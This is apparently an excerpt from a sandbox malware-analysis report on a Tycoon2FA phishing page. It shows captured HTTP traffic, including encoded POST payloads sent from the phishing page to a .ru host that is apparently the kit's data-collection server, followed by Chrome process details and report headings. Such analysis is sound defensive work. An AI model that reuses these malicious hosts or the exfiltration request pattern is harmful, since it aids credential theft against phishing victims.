2025-03-13 21:23:52 UTC	426	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 37 36 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 32 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 39 71 62 2e 62 69 74 75 61 6c 69 63 61 72 2e 72 75 2f 32 51 35 57 78 45 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 31 37 2e 31 30 32 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 Data Ascii: [{"age":0,"body":{"elapsed_time":769,"method":"GET","phase":"application","protocol":"h2","referrer":"https://9qb.bitualicar.ru/2Q5WxE/","sampling_fraction":1.0,"server_ip":"172.67.217.102","status_code":404,"type":"http.error"},"type":"network-error","ur
2025-03-13 21:23:52 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Thu, 13 Mar 2025 21:23:52 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:23:53 UTC	1130	OUT	GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250313%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250313T212352Z&X-Amz-Expires=300&X-Amz-Signature=f7d2a3838894a0300387406d72b93565186127ee4b05282c35446ff5953990b3&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1 Host: objects.githubusercontent.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://9qb.bitualicar.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 21:23:54 UTC	844	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10245 Content-Type: application/octet-stream Last-Modified: Tue, 07 Dec 2021 16:38:45 GMT ETag: "0x8D9B9A009499A1E" Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: d91f6eaf-e01e-0032-2f18-13e122000000 x-ms-version: 2023-11-03 x-ms-creation-time: Tue, 17 Aug 2021 14:57:31 GMT x-ms-blob-content-md5: bCCivoupALwKcRiJOisQcg== x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob Content-Disposition: attachment; filename=randexp.min.js x-ms-server-encrypted: true Via: 1.1 varnish, 1.1 varnish Fastly-Restarts: 1 Accept-Ranges: bytes Age: 1084 Date: Thu, 13 Mar 2025 21:23:54 GMT X-Served-By: cache-iad-kiad7000045-IAD, cache-gnv1820022-GNV X-Cache: HIT, HIT X-Cache-Hits: 25899, 0 X-Timer: S1741901034.237970,VS0,VE1
2025-03-13 21:23:54 UTC	1378	IN	Data Raw: 2f 2f 0a 2f 2f 20 72 61 6e 64 65 78 70 20 76 30 2e 34 2e 33 0a 2f 2f 20 43 72 65 61 74 65 20 72 61 6e 64 6f 6d 20 73 74 72 69 6e 67 73 20 74 68 61 74 20 6d 61 74 63 68 20 61 20 67 69 76 65 6e 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 2e 0a 2f 2f 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 31 36 20 62 79 20 52 6f 6c 79 20 46 65 6e 74 61 6e 65 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 65 6e 74 29 0a 2f 2f 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 2f 2f 20 68 74 74 70 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 65 6e 74 2f 72 61 6e 64 65 78 70 2e 6a 73 2f 72 61 77 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 20 0a 2f 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 52 61 6e 64 45 78 70 22 Data Ascii: //// randexp v0.4.3// Create random strings that match a given regular expression.//// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent)// MIT License// http://github.com/fent/randexp.js/raw/master/LICENSE //!function(){var e="RandExp"
2025-03-13 21:23:54 UTC	1378	IN	Data Raw: 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 72 61 6e 64 49 6e 74 26 26 28 65 2e 72 61 6e 64 49 6e 74 3d 74 2e 72 61 6e 64 49 6e 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 29 7b 76 61 72 20 6e 2c 69 2c 70 2c 68 2c 63 3b 73 77 69 74 63 68 28 65 2e 74 79 70 65 29 7b 63 61 73 65 20 6c 2e 52 4f 4f 54 3a 63 61 73 65 20 6c 2e 47 52 4f 55 50 3a 69 66 28 65 2e 66 6f 6c 6c 6f 77 65 64 42 79 7c 7c 65 2e 6e 6f 74 46 6f 6c 6c 6f 77 65 64 42 79 29 72 65 74 75 72 6e 22 22 3b 66 6f 72 28 65 2e 72 65 6d 65 6d 62 65 72 26 26 76 6f 69 64 20 30 3d 3d 3d 65 2e 67 72 6f 75 70 4e 75 6d 62 65 72 26 26 28 65 2e 67 72 6f 75 70 4e 75 6d 62 65 72 3d 74 2e 70 75 73 68 28 6e 75 6c 6c 29 2d 31 29 2c 6e 3d 65 2e 6f 70 74 69 6f 6e 73 3f 61 2e 63 61 6c 6c Data Ascii: ),"function"==typeof t.randInt&&(e.randInt=t.randInt)}function u(e,t){var n,i,p,h,c;switch(e.type){case l.ROOT:case l.GROUP:if(e.followedBy\|\|e.notFollowedBy)return"";for(e.remember&&void 0===e.groupNumber&&(e.groupNumber=t.push(null)-1),n=e.options?a.call
2025-03-13 21:23:54 UTC	1378	IN	Data Raw: 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 2e 72 61 6e 64 65 78 70 28 74 68 69 73 29 7d 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 66 61 75 6c 74 52 61 6e 67 65 3d 6e 65 77 20 68 28 33 32 2c 31 32 36 29 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 72 61 6e 64 49 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2b 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 31 2b 74 2d 65 29 29 7d 7d 2c 7b 22 64 69 73 63 6f 6e 74 69 6e 75 6f 75 73 2d 72 61 6e 67 65 22 3a 32 2c 72 65 74 3a 33 7d 5d 2c 32 3a 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 74 68 69 73 2e 6c 6f 77 3d 65 2c 74 68 69 73 2e 68 69 67 68 3d 74 2c 74 68 69 73 2e 6c 65 Data Ascii: en=function(){return c.randexp(this)}},c.prototype.defaultRange=new h(32,126),c.prototype.randInt=function(e,t){return e+Math.floor(Math.random()*(1+t-e))}},{"discontinuous-range":2,ret:3}],2:[function(e,t,n){function r(e,t){this.low=e,this.high=t,this.le
2025-03-13 21:23:54 UTC	1378	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 29 74 2e 70 75 73 68 28 73 2e 72 61 6e 67 65 73 5b 6e 5d 2e 63 6c 6f 6e 65 28 29 29 2c 6e 2b 2b 3b 73 2e 72 61 6e 67 65 73 3d 74 2c 61 28 73 29 7d 76 61 72 20 73 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 3f 65 2e 72 61 6e 67 65 73 2e 66 6f 72 45 61 63 68 28 6e 29 3a 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 72 3f 6e 28 65 29 3a 28 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 65 29 2c 6e 28 6e 65 77 20 72 28 65 2c 74 29 29 29 2c 74 68 69 73 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 73 75 62 74 72 61 63 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 73 2e 72 61 6e 67 65 73 2e 6c 65 6e 67 74 68 26 26 Data Ascii: .length;)t.push(s.ranges[n].clone()),n++;s.ranges=t,a(s)}var s=this;return e instanceof o?e.ranges.forEach(n):e instanceof r?n(e):(void 0===t&&(t=e),n(new r(e,t))),this},o.prototype.subtract=function(e,t){function n(e){for(var t=[],n=0;n<s.ranges.length&&
2025-03-13 21:23:54 UTC	1378	IN	Data Raw: 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 44 22 3a 68 2e 70 75 73 68 28 61 2e 6e 6f 74 49 6e 74 73 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 73 22 3a 68 2e 70 75 73 68 28 61 2e 77 68 69 74 65 73 70 61 63 65 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 53 22 3a 68 2e 70 75 73 68 28 61 2e 6e 6f 74 57 68 69 74 65 73 70 61 63 65 28 29 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 2f 5c 64 2f 2e 74 65 73 74 28 6e 29 3f 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 52 45 46 45 52 45 4e 43 45 2c 76 61 6c 75 65 3a 70 61 72 73 65 49 6e 74 28 6e 2c 31 30 29 7d 29 3a 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 43 48 41 52 2c 76 61 6c 75 65 3a 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 7d 62 72 65 61 6b 3b 63 61 73 65 22 5e 22 3a 68 2e 70 75 73 68 28 73 2e Data Ascii: );break;case"D":h.push(a.notInts());break;case"s":h.push(a.whitespace());break;case"S":h.push(a.notWhitespace());break;default:/\d/.test(n)?h.push({type:o.REFERENCE,value:parseInt(n,10)}):h.push({type:o.CHAR,value:n.charCodeAt(0)})}break;case"^":h.push(s.
2025-03-13 21:23:54 UTC	1378	IN	Data Raw: 68 26 26 63 28 69 29 2c 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 52 45 50 45 54 49 54 49 4f 4e 2c 6d 69 6e 3a 30 2c 6d 61 78 3a 31 2f 30 2c 76 61 6c 75 65 3a 68 2e 70 6f 70 28 29 7d 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 43 48 41 52 2c 76 61 6c 75 65 3a 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 7d 72 65 74 75 72 6e 20 30 21 3d 3d 6c 2e 6c 65 6e 67 74 68 26 26 72 2e 65 72 72 6f 72 28 65 2c 22 55 6e 74 65 72 6d 69 6e 61 74 65 64 20 67 72 6f 75 70 22 29 2c 75 7d 2c 74 2e 65 78 70 6f 72 74 73 2e 74 79 70 65 73 3d 6f 7d 2c 7b 22 2e 2f 70 6f 73 69 74 69 6f 6e 73 22 3a 34 2c 22 2e 2f 73 65 74 73 22 3a 35 2c 22 2e 2f 74 79 70 65 73 22 3a 36 2c 22 2e 2f 75 74 69 6c 22 3a 37 7d 5d 2c 34 3a 5b 66 75 Data Ascii: h&&c(i),h.push({type:o.REPETITION,min:0,max:1/0,value:h.pop()});break;default:h.push({type:o.CHAR,value:n.charCodeAt(0)})}return 0!==l.length&&r.error(e,"Unterminated group"),u},t.exports.types=o},{"./positions":4,"./sets":5,"./types":6,"./util":7}],4:[fu
2025-03-13 21:23:54 UTC	1378	IN	Data Raw: 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 36 35 32 37 39 7d 5d 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 5b 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 31 30 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 31 33 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 38 32 33 32 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 38 32 33 33 7d 5d 7d 3b 6e 2e 77 6f 72 64 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 53 45 54 2c 73 65 74 3a 61 28 29 2c 6e 6f 74 3a 21 31 7d 7d 2c 6e 2e 6e 6f 74 57 6f 72 64 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 53 45 54 2c 73 65 74 3a 61 28 29 2c 6e 6f 74 3a 21 30 7d 7d 2c 6e 2e 69 6e Data Ascii: r.CHAR,value:65279}]},i=function(){return[{type:r.CHAR,value:10},{type:r.CHAR,value:13},{type:r.CHAR,value:8232},{type:r.CHAR,value:8233}]};n.words=function(){return{type:r.SET,set:a(),not:!1}},n.notWords=function(){return{type:r.SET,set:a(),not:!0}},n.in
2025-03-13 21:23:54 UTC	599	IN	Data Raw: 68 69 74 65 73 70 61 63 65 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 34 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 57 6f 72 64 73 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 35 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 49 6e 74 73 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 36 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 57 68 69 74 65 73 70 61 63 65 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 37 5d 29 69 2e 70 75 73 68 28 7b 74 79 70 65 3a 72 2e 52 41 4e 47 45 2c 66 72 6f 6d 3a 28 61 5b 38 5d 7c 7c 61 5b 39 5d 29 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2c 74 6f 3a 61 5b 31 30 5d 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 3b 65 6c 73 65 7b 69 66 28 21 28 73 3d 61 5b 31 32 5d 29 29 72 65 74 75 72 6e 5b 69 2c 75 2e 6c 61 73 74 49 6e 64 65 78 5d 3b 69 2e 70 75 Data Ascii: hitespace());else if(a[4])i.push(o.notWords());else if(a[5])i.push(o.notInts());else if(a[6])i.push(o.notWhitespace());else if(a[7])i.push({type:r.RANGE,from:(a[8]\|\|a[9]).charCodeAt(0),to:a[10].charCodeAt(0)});else{if(!(s=a[12]))return[i,u.lastIndex];i.pu

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:24:03 UTC	786	OUT	POST /jCybmfFgLcOZYGZfEquKIIxBfQHwLQLFBOAEHUJYPBGTDICYJBHLDEVGYECAJrsV2MKVCScU9gHTyKn4342Mrbewx40 HTTP/1.1 Host: uc9bzvjvebcratpimcepimvuj9b7bdwpggsrqf8t9xyhqiwynnuj4s2j4d.sngsfond.ru Connection: keep-alive Content-Length: 119 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://9qb.bitualicar.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://9qb.bitualicar.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 21:24:03 UTC	119	OUT	Data Raw: 64 61 74 61 3d 49 56 36 25 32 42 71 54 6a 4e 55 76 6d 67 35 39 6d 76 51 65 75 62 6c 71 6b 31 46 32 49 52 50 58 58 70 49 76 75 4d 25 32 46 33 37 4d 6a 49 44 38 4a 35 4b 68 71 7a 32 62 41 72 58 31 4b 33 79 61 47 69 54 63 6e 67 48 43 65 33 51 51 68 66 4d 45 42 49 58 4c 50 4e 6d 35 49 56 55 45 7a 6a 64 64 6d 77 4d 45 53 57 78 5a 59 6b 73 4e 30 6c 6f 25 33 44 Data Ascii: data=IV6%2BqTjNUvmg59mvQeublqk1F2IRPXXpIvuM%2F37MjID8J5Khqz2bArX1K3yaGiTcngHCe3QQhfMEBIXLPNm5IVUEzjddmwMESWxZYksN0lo%3D
2025-03-13 21:24:03 UTC	178	IN	HTTP/1.1 403 Forbidden Server: cloudflare Date: Thu, 13 Mar 2025 21:24:03 GMT Content-Type: text/html Content-Length: 553 Connection: close CF-RAY: 91fe98917e713d59-JAX
2025-03-13 21:24:03 UTC	553	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>cloudflare</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:24:08 UTC	775	OUT	POST /jCybmfFgLcOZYGZfEquKIIxBfQHwLQLFBOAEHUJYPBGTDICYJBHLDEVGYECAJpqlnZ12wzjhyzWQuv32 HTTP/1.1 Host: uc9bzvjvebcratpimcepimvuj9b7bdwpggsrqf8t9xyhqiwynnuj4s2j4d.sngsfond.ru Connection: keep-alive Content-Length: 119 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://9qb.bitualicar.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://9qb.bitualicar.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 21:24:08 UTC	119	OUT	Data Raw: 64 61 74 61 3d 49 56 36 25 32 42 71 54 6a 4e 55 76 6d 67 35 39 6d 76 51 65 75 62 6c 71 6b 31 46 32 49 52 50 58 58 70 49 76 75 4d 25 32 46 33 37 4d 6a 49 44 38 4a 35 4b 68 71 7a 32 62 41 72 58 31 4b 33 79 61 47 69 54 63 6e 67 48 43 65 33 51 51 68 66 4d 45 42 49 58 4c 50 4e 6d 35 49 56 55 45 7a 6a 64 64 6d 77 4d 45 53 57 78 5a 59 6b 73 4e 30 6c 6f 25 33 44 Data Ascii: data=IV6%2BqTjNUvmg59mvQeublqk1F2IRPXXpIvuM%2F37MjID8J5Khqz2bArX1K3yaGiTcngHCe3QQhfMEBIXLPNm5IVUEzjddmwMESWxZYksN0lo%3D
2025-03-13 21:24:10 UTC	178	IN	HTTP/1.1 403 Forbidden Server: cloudflare Date: Thu, 13 Mar 2025 21:24:09 GMT Content-Type: text/html Content-Length: 553 Connection: close CF-RAY: 91fe98ba7cad9ae2-JAX
2025-03-13 21:24:10 UTC	553	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>cloudflare</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:24:17 UTC	777	OUT	POST /jCybmfFgLcOZYGZfEquKIIxBfQHwLQLFBOAEHUJYPBGTDICYJBHLDEVGYECAJpq4nicFpnaWm434Zwwx31 HTTP/1.1 Host: uc9bzvjvebcratpimcepimvuj9b7bdwpggsrqf8t9xyhqiwynnuj4s2j4d.sngsfond.ru Connection: keep-alive Content-Length: 119 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://9qb.bitualicar.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://9qb.bitualicar.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 21:24:17 UTC	119	OUT	Data Raw: 64 61 74 61 3d 49 56 36 25 32 42 71 54 6a 4e 55 76 6d 67 35 39 6d 76 51 65 75 62 6c 71 6b 31 46 32 49 52 50 58 58 70 49 76 75 4d 25 32 46 33 37 4d 6a 49 44 38 4a 35 4b 68 71 7a 32 62 41 72 58 31 4b 33 79 61 47 69 54 63 6e 67 48 43 65 33 51 51 68 66 4d 45 42 49 58 4c 50 4e 6d 35 49 56 55 45 7a 6a 64 64 6d 77 4d 45 53 57 78 5a 59 6b 73 4e 30 6c 6f 25 33 44 Data Ascii: data=IV6%2BqTjNUvmg59mvQeublqk1F2IRPXXpIvuM%2F37MjID8J5Khqz2bArX1K3yaGiTcngHCe3QQhfMEBIXLPNm5IVUEzjddmwMESWxZYksN0lo%3D
2025-03-13 21:24:18 UTC	178	IN	HTTP/1.1 403 Forbidden Server: cloudflare Date: Thu, 13 Mar 2025 21:24:17 GMT Content-Type: text/html Content-Length: 553 Connection: close CF-RAY: 91fe98ebb94568cc-JAX
2025-03-13 21:24:18 UTC	553	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>cloudflare</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch

Target ID:	0
Start time:	17:22:58
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	1
Start time:	17:23:01
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2356,i,10442908303171519739,11556857756762525044,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2384 /prefetch:3
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Target ID:	3
